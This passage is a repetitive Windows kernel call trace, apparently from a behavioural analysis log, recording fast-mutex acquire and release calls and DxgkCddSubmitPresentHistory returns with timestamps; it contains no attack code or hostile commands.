(FastMutex=0xffffe00001127c40) [0254.863] DxgkCddSubmitPresentHistory () returned 0x0 [0254.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0254.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0254.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0254.925] DxgkCddSubmitPresentHistory () returned 0x0 [0255.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.004] DxgkCddSubmitPresentHistory () returned 0x0 [0255.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.066] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.066] DxgkCddSubmitPresentHistory () returned 0x0 [0255.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.113] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.113] DxgkCddSubmitPresentHistory () returned 0x0 [0255.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.191] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.191] DxgkCddSubmitPresentHistory () returned 0x0 [0255.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.238] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.238] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.238] DxgkCddSubmitPresentHistory () returned 0x0 [0255.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.300] DxgkCddSubmitPresentHistory () returned 0x0 [0255.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.379] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.379] DxgkCddSubmitPresentHistory () returned 0x0 [0255.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.442] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.442] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.442] DxgkCddSubmitPresentHistory () returned 0x0 [0255.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.488] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.488] DxgkCddSubmitPresentHistory () returned 0x0 [0255.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.566] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.566] DxgkCddSubmitPresentHistory () returned 0x0 [0255.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.613] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.613] DxgkCddSubmitPresentHistory () returned 0x0 [0255.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.690] DxgkCddSubmitPresentHistory () returned 0x0 [0255.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.753] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.753] DxgkCddSubmitPresentHistory () returned 0x0 [0255.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0255.800] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0255.800] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0255.800] DxgkCddSubmitPresentHistory () returned 0x0 [0257.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.378] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0257.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.378] DxgkCddSubmitPresentHistory () returned 0x0 [0257.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.441] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0257.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.441] DxgkCddSubmitPresentHistory () returned 0x0 [0257.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.503] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0257.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.503] DxgkCddSubmitPresentHistory () returned 0x0 [0257.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0257.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.565] DxgkCddSubmitPresentHistory () returned 0x0 [0257.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.632] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0257.632] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.632] DxgkCddSubmitPresentHistory () returned 0x0 [0257.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0257.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0257.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0257.878] DxgkCddSubmitPresentHistory () returned 0x0 [0259.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0259.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0259.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0259.941] DxgkCddSubmitPresentHistory () returned 0x0 [0260.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.019] DxgkCddSubmitPresentHistory () returned 0x0 [0260.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.081] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.081] DxgkCddSubmitPresentHistory () returned 0x0 [0260.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.144] DxgkCddSubmitPresentHistory () returned 0x0 [0260.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.190] DxgkCddSubmitPresentHistory () returned 0x0 [0260.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.269] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.269] DxgkCddSubmitPresentHistory () returned 0x0 [0260.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.331] DxgkCddSubmitPresentHistory () returned 0x0 [0260.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.378] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.378] DxgkCddSubmitPresentHistory () returned 0x0 [0260.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.441] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.441] DxgkCddSubmitPresentHistory () returned 0x0 [0260.504] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.504] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.505] DxgkCddSubmitPresentHistory () returned 0x0 [0260.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.566] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.566] DxgkCddSubmitPresentHistory () returned 0x0 [0260.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.628] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.629] DxgkCddSubmitPresentHistory () returned 0x0 [0260.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.691] DxgkCddSubmitPresentHistory () returned 0x0 [0260.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.753] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.753] DxgkCddSubmitPresentHistory () returned 0x0 [0260.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.831] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.831] DxgkCddSubmitPresentHistory () returned 0x0 [0260.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.878] DxgkCddSubmitPresentHistory () returned 0x0 [0260.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0260.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0260.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0260.956] DxgkCddSubmitPresentHistory () returned 0x0 [0261.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.019] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0261.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.019] DxgkCddSubmitPresentHistory () returned 0x0 [0261.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0261.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.097] DxgkCddSubmitPresentHistory () returned 0x0 [0261.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0261.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.394] DxgkCddSubmitPresentHistory () returned 0x0 [0261.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0261.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.878] DxgkCddSubmitPresentHistory () returned 0x0 [0261.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0261.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.925] DxgkCddSubmitPresentHistory () returned 0x0 [0261.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0261.987] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0261.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0261.987] DxgkCddSubmitPresentHistory () returned 0x0 [0262.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.066] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.066] DxgkCddSubmitPresentHistory () returned 0x0 [0262.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.113] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.113] DxgkCddSubmitPresentHistory () returned 0x0 [0262.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.175] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.175] DxgkCddSubmitPresentHistory () returned 0x0 [0262.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.237] DxgkCddSubmitPresentHistory () returned 0x0 [0262.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.300] DxgkCddSubmitPresentHistory () returned 0x0 [0262.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.363] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.363] DxgkCddSubmitPresentHistory () returned 0x0 [0262.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.441] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.441] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.441] DxgkCddSubmitPresentHistory () returned 0x0 [0262.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.487] DxgkCddSubmitPresentHistory () returned 0x0 [0262.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.566] DxgkCddSubmitPresentHistory () returned 0x0 [0262.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.628] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.628] DxgkCddSubmitPresentHistory () returned 0x0 [0262.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.690] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.691] DxgkCddSubmitPresentHistory () returned 0x0 [0262.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.737] DxgkCddSubmitPresentHistory () returned 0x0 [0262.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.815] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.816] DxgkCddSubmitPresentHistory () returned 0x0 [0262.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0262.862] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0262.862] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0262.862] DxgkCddSubmitPresentHistory () returned 0x0 [0263.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0263.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.409] DxgkCddSubmitPresentHistory () returned 0x0 [0263.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0263.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.472] DxgkCddSubmitPresentHistory () returned 0x0 [0263.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0263.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.534] DxgkCddSubmitPresentHistory () returned 0x0 [0263.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.597] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0263.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.597] DxgkCddSubmitPresentHistory () returned 0x0 [0263.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0263.664] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0263.664] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0263.664] DxgkCddSubmitPresentHistory () returned 0x0 [0264.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.035] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0264.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.035] DxgkCddSubmitPresentHistory () returned 0x0 [0264.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0264.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.050] DxgkCddSubmitPresentHistory () returned 0x0 [0264.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.113] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0264.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.113] DxgkCddSubmitPresentHistory () returned 0x0 [0264.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0264.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.191] DxgkCddSubmitPresentHistory () returned 0x0 [0264.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0264.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.237] DxgkCddSubmitPresentHistory () returned 0x0 [0264.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0264.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.300] DxgkCddSubmitPresentHistory () returned 0x0 [0264.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0264.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.878] DxgkCddSubmitPresentHistory () returned 0x0 [0264.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0264.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0264.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0264.941] DxgkCddSubmitPresentHistory () returned 0x0 [0265.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.003] DxgkCddSubmitPresentHistory () returned 0x0 [0265.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.066] DxgkCddSubmitPresentHistory () returned 0x0 [0265.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.144] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.144] DxgkCddSubmitPresentHistory () returned 0x0 [0265.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.206] DxgkCddSubmitPresentHistory () returned 0x0 [0265.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.253] DxgkCddSubmitPresentHistory () returned 0x0 [0265.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.331] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.331] DxgkCddSubmitPresentHistory () returned 0x0 [0265.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.394] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.394] DxgkCddSubmitPresentHistory () returned 0x0 [0265.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0265.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0265.456] DxgkCddSubmitPresentHistory () returned 0x0 [0265.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0265.519] ExEnterCriticalRegionAndAcquireFastMutexUnsafe 